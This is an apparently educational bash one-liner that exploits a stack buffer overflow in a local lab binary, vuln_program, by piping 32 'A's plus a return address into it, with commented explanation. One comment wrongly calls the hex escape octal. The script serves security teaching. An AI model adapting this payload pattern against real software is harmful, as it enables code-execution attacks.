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Create one_liner_exploit.sh
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buffer_overflow_example/one_liner_exploit.sh
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buffer_overflow_example/one_liner_exploit.sh
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#!/bin/bash
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# Simple one-liner script to exploit the vuln_program buffer overflow
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# Author: Omar Santos @santosomar
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# Explanation:
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# echo -en is used to enable interpretation of backslash escapes and turns off
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# the default behavior of the echo command which is to add a newline at the end of the output.
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# $(for i in {1..32}; do echo -n "A"; done) is a bash command that will iterate 32 times and print 'A' each time without a newline.
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# $'\x9d\x84\x04\x08' is an octal escape representation that will produce the 4 bytes of hex representation, in this case '\x9d\x84\x04\x08'
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# This command will output a string of 32 'A's followed by that 4 bytes value.
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# Note that the echo command in Bash behaves differently across different shells (like bash, zsh, etc)
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# and different platforms (like Linux, MacOS, Windows) so the command could produce different results
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# depending on the environment where you run it.
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echo -en $(for i in {1..32}; do echo -n "A"; done)$'\x9d\x84\x04\x08' | ./vuln_program
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